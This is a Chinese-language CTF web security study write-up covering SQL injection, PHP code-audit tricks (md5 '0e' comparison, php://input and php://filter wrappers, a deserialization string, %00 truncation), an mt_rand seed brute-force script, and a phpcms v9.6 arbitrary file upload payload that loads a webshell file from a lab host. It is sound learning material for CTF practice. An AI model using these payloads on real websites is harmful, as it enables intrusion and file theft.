[CTF从0到1学习] 二、CTF WEB安全
文章目录
- [CTF从0到1学习] 二、CTF WEB安全
- 信息收集
- 2-1-Where is flag
- 2-2-Where is logo
- 2.3粗心的小明
- 2.4Discuz 3.2
- HTTP
- 2.5 Careful
- 2-6-你不是阿凡达
- 2.7特殊浏览器
- 2.8 猜猜我是谁
- SQL注入
- 2-9 简单的注入
- 2-10 POST注入
- 2-11万能注入
- 2-12宽字节注入
- 代码审计
- 2-13小试身手
- 2-14小小加密
- 2-15你不知道的事
- 2-16科学计数法
- 2-17 反序列化和文件包含
- 2-18二进制比较
- 2-19变量覆盖
- 2-20 什么都没有
- 2-21 条件竞争
- 2-22变量覆盖
- 2-23 00截断
- 2-24 文件包含
- 2-25JS突破
- 2-26 md5扩展攻击
- 2-27 随机数爆破
- 2-28 phpcmsV9.6任意文件上传
Web安全的实验环境
PHP环境
java环境
python环境
不在赘述,环境自己配
下来直接整题,以下的题目有些为本地搭建,有些为在线CTF靶场的题目
信息收集
2-1-Where is flag
考点:网站源代码
查看网页源代码,发现flag
2-2-Where is logo
考点:robots.txt
拿到之后使用扫描工具进行扫描
尝试看看robots.txt
尝试下拉查看
在这里面找flag,那就写一个小脚本吧
import requests
if __name__ == '__main__':
url = 'http://127.0.0.1/ctfLearning/chapter2/2-2-Where%20is%20logo/robots.txt'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36'
}
response = requests.get(url=url,headers=headers).content.decode('utf-8')
f = "{}abcdefghigklmnopqrst1234567890_-"
flag = ''
# with open('./1.txt','wr',encoding='utf-8') as fp:
# fp.write(response)
with open('./1.txt', 'r', encoding='utf-8') as fp:
for line in fp.read():
if line in f:
flag = flag + line
print(flag)
2.3粗心的小明
考点:index.php.bak
本地环境没有效果,因为利用的是Apache解析漏洞,使用御剑big扫描
找到flag
2.4Discuz 3.2
考点:.git泄露
D:\桌面\CTF\CTF安全竞赛入门\chapter2-Web\题目2-4-git文件泄露\GitHack-master>python27 GitHack.py http://eci-2ze170c5z2f9f14cd8uj.cloudeci1.ichunqiu.com/.git/
[+] Download and parse index file ...
index.html
[OK] index.html
HTTP
2.5 Careful
考点:response字段
既然提示看看现在正在发生什么,那就使用bp抓包。
2-6-你不是阿凡达
考点:request请求中language字段
刚开始,页面和书上完全不同,什么都不显示。我就查看了源代码
改正代码后
提示语言不是阿凡达,抓包修改语言类型
修改语言
2.7特殊浏览器
考点:User-agent字段
源码有错误,需要修改
2.8 猜猜我是谁
考点:request中的cookie字段
SQL注入
2-9 简单的注入
只是sql-labs第一关加了flag表
可手工也可sqlmap
2-10 POST注入
使用BP抓包
将抓到的包复制到本地
使用sqlmap跑出数据
2-11万能注入
随便尝试
出现报错发现没有and,应该被过滤掉了,但是#未被过滤掉
尝试使用万能密码
2-12宽字节注入
经过后台扫描,发现只有这样一张图片,所以将图片下载到本地进行分析
发现好像是zip,修改后缀
根据提示,添加username和password
尝试宽字节注入
代码审计
2-13小试身手
考点:MD5()函数漏洞
首先分析代码
<?php
include('config.php');
if(empty($_GET['md5'])) die(show_source(__FILE__));
if($_GET['md5']!='240610708' && md5($_GET['md5']) == md5('240610708')) echo $flag;
?>
1
主要对这句话进行解读吧die(show_source(__FILE__));
show_source():就是对文件的内容的显示
_ FILE_ :常量脚本所在的路径。
die() 函数输出一条消息,并退出当前脚本。
合起来就是,输出以高亮显示当前文件。
MD5()函数漏洞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
说了半天是啥意思呐?
构造payload
涉及资源:
https://blog.csdn.net/qq_19980431/article/details/83018232
https://blog.csdn.net/u014549283/article/details/81288443
2-14小小加密
分析加密步骤:
1.首先将字符串读进来,反转字符串得到$_o
2.逐位取,然后将ascii码+1
3.编码后相加赋值给$_c
4.输出的时候先使用base64编码,然后反转,最后进行str_rot13编码。
解密步骤
1.先str_rot13解码
2.反转字符串
3.逐位转ascii -1,然后编码
4.相加后 ,反转字符串
wp
<?php
function decode($str){
$res = base64_decode(strrev(str_rot13($str)));
for($_0 = 0; $_0 < strlen($res); $_0++){
$_c = substr($res,$_0,1);
$__ = ord($_c) - 1;
$_c = chr($__);
$_= $_.$_c;
}
return strrev($_);
}
echo decode("pJovuTsWOUrtIJZtcKZ2OJMzEJZyMTLdIas");
?>
flag{How_d0_y0u_dec0de_it}
2-15你不知道的事
查看网页源代码
分析题目:name 不等于 password;sha1(name) 等于sha1(password)
自己写的小测试
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Break the sha</title>
</head>
<body>
<center>
<br><br>
<center>
<h1><?php
$a = $_GET['id'];
echo sha1($a);
?></h1>
</center>
<br>
<br>
<br>
<!--index.phps-->
</html>
发现报错;那么 输入都为不同内容的数组的时候,可通过 name不等于password;sha1()都会报错,所以也是相同的。这样就会绕过了
2-16科学计数法
看完源码后,发现就是想传入一个数,这个数的长度小于4,但是这个数要大于999,按正常思路肯定什么觉得非常奇怪。但是题目是科学计数法,我们可尝试使用科学计数法。
<?php
$number=1200000000000000000;
$result = sprintf("%e",$number);
$afterformat = str_replace("e+"," * 10^",$result);
echo $afterformat;
?>
构造password,解出flag
2-17 反序列化和文件包含
简单介绍一下反序列化吧。序列化就是把数据转换为可存储或传输的形式,,反序列化转化为当初的数据对象。
因为题目需要用到PHP封装协议,所以我们学习一下PHP封装协议
php:// — 访问各个输入/输出流(I/O streams)
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
- php://stdin, php://stdout 和 php://stderr
php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。 注意 PHP 在这方面的行为有很多 BUG 直到 PHP 5.2.1。 推荐你简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。
php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。
- php://input
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。
- php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
- php://fd
php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
- php://memory 和 php://temp
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。
- php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
查看网页源代码
首先需要跳过第一层限制
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
这个题目首先要突破的是:
if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 6: user)&̲&(file_get_cont…user,‘r’)=“the user is admin”))
如何让file_get_contents($user,‘r’)="the user is admin"呢?
答案是用php的封装协议php://input,因为php://input可以得到原始的post数据:
绕过第一道封锁:
到达 include($file); //class.php 提示我们读取class.php文件
使用php://filter/convert.base64-encode/resource=index.php
完整参数:
user=php://input&file=php://filter/convert.base64-encode/resource=class.php&pass=1
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
因为做了正则过滤,所以还是不能读取flag值
我们需要将class,php的内容反序列化以读取flag值。class.php定义了一个read类,其中包含了一个public属性file。构造反序列化参数值:
O:4:“Read”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=f1a9.php”;}
PHP在对对象进行序列化时,结果是按照下列各式进行设置的,
O:<length>:"<class name>":<n>:<field name 1><field value 1><field name 2><field value 2>...<field name 1><field value 1>
O:Object简写,4表示类名长度,后面的read为类名,1表示一个字段数。大括号中的s表示字符串类型;4表示file字段的长度,file是字段的值,之后的s表示字符串,57表示长度(表示最后我们读取的fla9.php这段的字符串长度刚好为57个字符)。
<?php
class Read{//f1a9.php
public $file;
public function toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "_toString was called!";
}
}
$obj = new Read();
print(serialize($obj));
?>
O:4:"Read":1:{s:4:"file";N;}
2-18二进制比较
查看备份文件
可见strcmp比较的是字符串类型。在php5.3.3及之后的版本中,strcmp()函数进行比较,比较字符串类型和数组类型的时候,返回的结果直接是0
2-19变量覆盖
2-20 什么都没有
使用php://filter/read=convert.base64-encode/resource=index.php
我没做出来,应该是代码有点问题,之后会了在补充
2-21 条件竞争
直接上传php文件被转换了
两个地址都放在爆破模式里面,然后判断字段长度和状态码来查看响应页面,最终找到flag
2-22变量覆盖
要找到flag 必须 vs === Ff,file_get_contents用来包含文件内容,所以想到php://input来传输post原始数据流
2-23 00截断
尝试上传php文件
换成jpg文件
尝试%00截断
2-24 文件包含
提示参数为文件
扫一扫目录
index.php找到网页源码提示
<?php
if(class_exists("Phar")){
$phar = new Phar("blog.phar",0,"blog.phar");
$phar->buildFromDirectory(__DIR__ . '/blog');
$phar->setStub($phar->createDefaultStub('index.php'));
$phar->compressFiles(Phar::GZ);
}
?>
比较复杂,之后详述
2-25JS突破
alert(function(p,a,c,k,e,d){e=function©{return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!’’.replace(/^/,String)){while(c–)d[e©]=k[c]||e©;k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(’\b’+e©+’\b’,‘g’),k[c]);return p;}(‘l=7(){i f=a.j(“V”);a.q(‘C’).h(f);f.X=“C”;n f}();15=7(){i 4=a.j(“y”);4.z=“14”;4.M=“4”;4.2=‘d v’;4.J.K=“k k k L”;l.h(4);4.U=7(){m(c.2==‘d v’)c.2=’’};4.S=7(){m(c.2==’’)c.2=‘d v’};n 4}();17=7(){i e=a.j(“e”);l.h(e);e=a.j(“e”);l.h(e);n e}();16=7(){i 3=a.j(“y”);3.z=“11”;3.M=“3”;3.2=‘d r’;3.J.K=“k k k L”;l.h(3);3.U=7(){m(c.2==‘d r’)c.2=’’};3.S=7(){m(c.2==’’)c.2=‘d r’};n 3}();13=7(){i o=a.j(“y”);l.h(o);o.z=“12”;o.2=“C”;o.10=7(){4=a.q(‘4’).2;3=a.q(‘3’).2;m(4=="")F(‘I d v!’);G m(3=="")F(‘I d r!’);G{Z(Y(“i%E%0%6%0%W%p%b%Q%H%0%6%0%18%p%b%Q%1A%0%6%1z.1B%1D%9%1C%9%1v%9%1u%9%1w%1%b%1y%0%1x%0%6%6%0%1E%0+%0%5%5%1L.1K%5%1%1.s%D%9%E.x%5%1M%p%1%1%0+%H.s%1O%9%1N%1%1.1G%5%1%1.s%D%9%1F%1%1%1%0%u%8%0%0%0%1H%w%0%6%0%1J%g%b%8%0%0%0%1I%0%1f%0%6%6%0%R.s%R.x%5%1e%g%9%T%1%9%w.1g%0-%w.x%5%1i%g%1%0+%T%1%1%1%0%u%8%0%0%0%0%0%0%0%B%5%O%1h%A%g%1%b%8%0%0%0%0%0%0%0%1a.q%5%19%g%1.1b%0%6%1d%5%p%1c%1j%1q%P%1p%P%1r%6%1t/1s%1l%p%1%b%8%0%0%0%0%t%N%0%u%8%0%0%0%0%0%0%0%B%5%1k%1m%A%g%1%b%8%0%0%0%0%t%8%t%N%0%u%8%0%0%0%B%5%O%1o%A%g%1%b%8%t”))}};n 1n}();’,62,113,‘20|29|value|upass|uname|28|3D|function|0A|2C|document|3B|this|Input|br||27|appendChild|var|createElement|0px|_f|if|return|btn|22|getElementById|Password|substring|7D|7B|Username|20strKey4|indexOf|input|type|21|20alert|login|280|20strKey1|alert|else|20strKey2|Please|style|margin|60px|id|20else|27Login|2522|0Avar|28strKey4|onblur|205|onfocus|form|22JaVa3C41ptIsAGo0DStAff|name|unescape|eval|onclick|password|button|_btn|text|_uname|_upass|br|22CaNUknOWThIsK3y|27key|20document|innerHTML|253Cfont|20unescape|271|28upass|length|20Success|27|2520color|27Password|253E|20Error|false|20Failed|2523000|253D|253Ea2V5X0NoM2NrXy50eHQ|font|253C|20100|20111|2033|28uname|0Aif|20String|20strKey3|fromCharCode|2048|2871|28strKey3|2015|toUpperCase|20var|20if|27Java_Scr1pt_Pa4sW0rd_K3y_H3re|toLowerCase|28strKey1|220|206|282’.split(’|’),0,{}))
_f=function(){var f=document.createElement(“form”);document.getElementById(‘login’).appendChild(f);f.name=“login”;return f}();_uname=function(){var uname=document.createElement(“input”);uname.type=“text”;uname.id=“uname”;uname.value=‘Input Username’;uname.style.margin=“0px 0px 0px 60px”;_f.appendChild(uname);uname.οnfοcus=function(){if(this.value==‘Input Username’)this.value=’’};uname.οnblur=function(){if(this.value==’’)this.value=‘Input Username’};return uname}();_br=function(){var br=document.createElement(“br”);_f.appendChild(br);br=document.createElement(“br”);_f.appendChild(br);return br}();_upass=function(){var upass=document.createElement(“input”);upass.type=“password”;upass.id=“upass”;upass.value=‘Input Password’;upass.style.margin=“0px 0px 0px 60px”;_f.appendChild(upass);upass.οnfοcus=function(){if(this.value==‘Input Password’)this.value=’’};upass.οnblur=function(){if(this.value==’’)this.value=‘Input Password’};return upass}();_btn=function(){var btn=document.createElement(“input”);f.appendChild(btn);btn.type=“button”;btn.value=“login”;btn.οnclick=function(){uname=document.getElementById(‘uname’).value;upass=document.getElementById(‘upass’).value;if(uname=="")alert(‘Please Input Username!’);else if(upass=="")alert(‘Please Input Password!’);else{eval(unescape("var%20strKey1%20%3D%20%22JaVa3C41ptIsAGo0DStAff%22%3B%0Avar%20strKey2%20%3D%20%22CaNUknOWThIsK3y%22%3B%0Avar%20strKey3%20%3D%20String.fromCharCode%2871%2C%2048%2C%20111%2C%20100%2C%2033%29%3B%0Aif%20%28uname%20%3D%3D%20%28strKey3%20+%20%28%28%28strKey1.toLowerCase%28%29%29.substring%280%2C%20strKey1.indexOf%28%220%22%29%29%20+%20strKey2.substring%282%2C%206%29%29.toUpperCase%28%29%29.substring%280%2C%2015%29%29%29%20%7B%0A%20%20%20%20var%20strKey4%20%3D%20%27Java_Scr1pt_Pa4sW0rd_K3y_H3re%27%3B%0A%20%20%20%20if%20%28upass%20%3D%3D%20%28strKey4.substring%28strKey4.indexOf%28%271%27%2C%205%29%2C%20strKey4.length%20-%20strKey4.indexOf%28%27%27%29%20+%205%29%29%29%20%7B%0A%20%20%20%20%20%20%20%20alert%28%27Login%20Success%21%27%29%3B%0A%20%20%20%20%20%20%20%20document.getElementById%28%27key%27%29.innerHTML%20%3D%20unescape%28%22%253Cfont%2520color%253D%2522%2523000%2522%253Ea2V5X0NoM2NrXy50eHQ%3D%253C/font%253E%22%29%3B%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20alert%28%27Password%20Error%21%27%29%3B%0A%20%20%20%20%7D%0A%7D%20else%20%7B%0A%20%20%20%20alert%28%27Login%20Failed%21%27%29%3B%0A%7D"))}};return false}();
var strKey1 = "JaVa3C41ptIsAGo0DStAff";
var strKey2 = "CaNUknOWThIsK3y";
var strKey3 = String.fromCharCode(71, 48, 111, 100, 33);
if (uname == (strKey3 + (((strKey1.toLowerCase()).substring(0, strKey1.indexOf("0")) + strKey2.substring(2, 6)).toUpperCase()).substring(0, 15))) {
var strKey4 = 'Java_Scr1pt_Pa4sW0rd_K3y_H3re';
if (upass == (strKey4.substring(strKey4.indexOf('1', 5), strKey4.length - strKey4.indexOf('_') + 5))) {
alert('Login Success!');
document.getElementById('key').innerHTML = unescape("%3Cfont%20color%3D%22%23000%22%3Ea2V5X0NoM2NrXy50eHQ=%3C/font%3E");
} else {
alert('Password Error!');
}
} else {
alert('Login Failed!');
}
"<font color="#000">a2V5X0NoM2NrXy50eHQ=</font>"
key_Ch3ck_.txt
现在需要找到username
G0od!JAVA3C41PTISAGO
password
1pt_Pa4sW0rd_K3y_H3re
var strKey1 = "JaVa3C41ptIsAGo0DStAff";
var strKey2 = "CaNUknOWThIsK3y";
var strKey3 = String.fromCharCode(71, 48, 111, 100, 33);
alert(strKey3 + (((strKey1.toLowerCase()).substring(0, strKey1.indexOf("0")) + strKey2.substring(2, 6)).toUpperCase()).substring(0, 15));
var strKey4 = 'Java_Scr1pt_Pa4sW0rd_K3y_H3re';
alert(strKey4.substring(strKey4.indexOf('1', 5), strKey4.length - strKey4.indexOf('_') + 5));
2-26 md5扩展攻击
要补一波MD5的知识了,简单了解,还没到能写的地步。
1.填充信息
在计算机中,数据存储都是二进制存储的,所以任意一个文件都是些二进制。
每个文件(消息)的大小(长短)都不一样,所以在计算MD5值之前,要将这些文件(消息)用特定内容填充到指定的情况为止。(这里的大小长度是指字节数)
填充的过程如下:
1.先判断文件(消息)的大小(长度) mod 512 == 448 mod 512 ,就是大小(长度)对512求余等于448。(这里的512、448是“位”为单位,转成“字节”就是64、56,即mod 64 == 56 mod 64)
2.如果大小(长度)满足 mod 512 == 448 mod 512,就在文件(消息)的末尾处添加64位(8字节)的值,值的内容是原消息的长度(以位为单位)
3.如果大小(长度)不满足要求,就执行以下操作:
(1)填充1个1
(2)填充0,直到满足满足过程的第一步。
注意:这里是以位为单位,假如是以字节为单位,第一个填充的是0x80(1000 0000),然后就填0x0
举例:消息内容为“gnubd”,就能得到以下内容
67 6E 75 62 64 80 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00
注意到最后面这里有个0x28,数8个字节,就是0x0000000000000028,刚刚好是十进制的40,消息的内容是5个字节,也就是40位,还要注意到这里是小端字节序存储
2.数据说明
DWORD md5::A = 0x67452301;
DWORD md5::B = 0xEFCDAB89;
DWORD md5::C = 0x98BADCFE;
DWORD md5::D = 0x10325476;
DWORD md5::T[64] = {
0xD76AA478,0xE8C7B756,0x242070DB,0xC1BDCEEE,0xF57C0FAF,0x4787C62A,0xA8304613,0xFD469501,
0x698098D8,0x8B44F7AF,0xFFFF5BB1,0x895CD7BE,0x6B901122,0xFD987193,0xA679438E,0x49B40821,
0xF61E2562,0xC040B340,0x265E5A51,0xE9B6C7AA,0xD62F105D,0x02441453,0xD8A1E681,0xE7D3FBC8,
0x21E1CDE6,0xC33707D6,0xF4D50D87,0x455A14ED,0xA9E3E905,0xFCEFA3F8,0x676F02D9,0x8D2A4C8A,
0xFFFA3942,0x8771F681,0x6D9D6122,0xFDE5380C,0xA4BEEA44,0x4BDECFA9,0xF6BB4B60,0xBEBFBC70,
0x289B7EC6,0xEAA127FA,0xD4EF3085,0x04881D05,0xD9D4D039,0xE6DB99E5,0x1FA27CF8,0xC4AC5665,
0xF4292244,0x432AFF97,0xAB9423A7,0xFC93A039,0x655B59C3,0x8F0CCC92,0xFFEFF47D,0x85845DD1,
0x6FA87E4F,0xFE2CE6E0,0xA3014314,0x4E0811A1,0xF7537E82,0xBD3AF235,0x2AD7D2BB,0xEB86D391
};
DWORD md5::s[64]={
7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,
5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,
4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,
6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21
};
DWORD md5::m[64]={
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,
1,6,11,0,5,10,15,4,9,14,3,8,13,2,7,12,
5,8,11,14,1,4,7,10,13,0,3,6,9,12,15,2,
0,7,14,5,12,3,10,1,8,15,6,13,4,11,2,9
};
看上去很复杂,其实不是。
首先前4个数值A、B、C、D,它们原本的值是这样的:
A = 0x01234567
B = 0x89ABCDEF
C = 0xFEDCBA89
D = 0x76543210
为了保证ABCD4个值在内存中的显示情况为上面情况,所以要调整数字的位置,故实际情况是:
A = 0x67452301;
B = 0xEFCDAB89;
C = 0x98BADCFE;
D = 0x10325476;
3.处理信息
经过信息填充后,填充后的信息长度肯定是512位(64字节)的倍数,也就是说每512位(64字节)为1段可以分成n段,(n大于等于1),对于每一段信息(512位,64字节)又划分成16小段(每段32位,4个字节,用M表示)
对于每一段信息,都会经过下列的运算处理,共4种函数
FF(a,b,c,d,mj,s,ti)
GG(a,b,c,d,mj,s,ti)
HH(a,b,c,d,mj,s,ti)
II(a,b,c,d,mj,s,ti)
对于每种函数都会执行64次
执行顺序是:
先执行16次FF,再执行16次GG,再执行16次HH,最后执行16次II,可以把这个4种函数各执行16次看作一次周期,那么这样的周期有4个,可以简单理解为:
for(i = 0; i < 4; ++i) {
FF(16); //括号内为执行次数
GG(16);
HH(16);
II(16);
}
2)Md5攻击扩展攻击
涉及资源:
https://www.freebuf.com/articles/database/137129.html
https://blog.csdn.net/goodnameused/article/details/81068697(荐)
2-27 随机数爆破
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd']){
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Nice , you get the flag it is ".$flag ;
}else{
echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();
?>
代码审计可以看出
最重要的部分就是
$pwd == $_GET['pwd'] and $_SESSION['userLogin']==$_GET['login']
对于session来说可以直接清空cookie ,对于pwd则需要自己根据思路编写一个脚本
<?php
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
for ($i=time()-10; $i <= time() + 10; $i++){
mt_srand(time());
$pwd=create_password();
$curl = file_get_contents("http://192.168.43.97/ctfLearning/chapter2/2-27/index.php?pwd=$pwd&login=");
echo $curl."<br>";
}
?>
2-28 phpcmsV9.6任意文件上传
payload
siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.1/ctfLearning/chapter2/shell.txt?.php#.jpg>&dosubmit=1&protocol=
菜刀进入网站
找到flag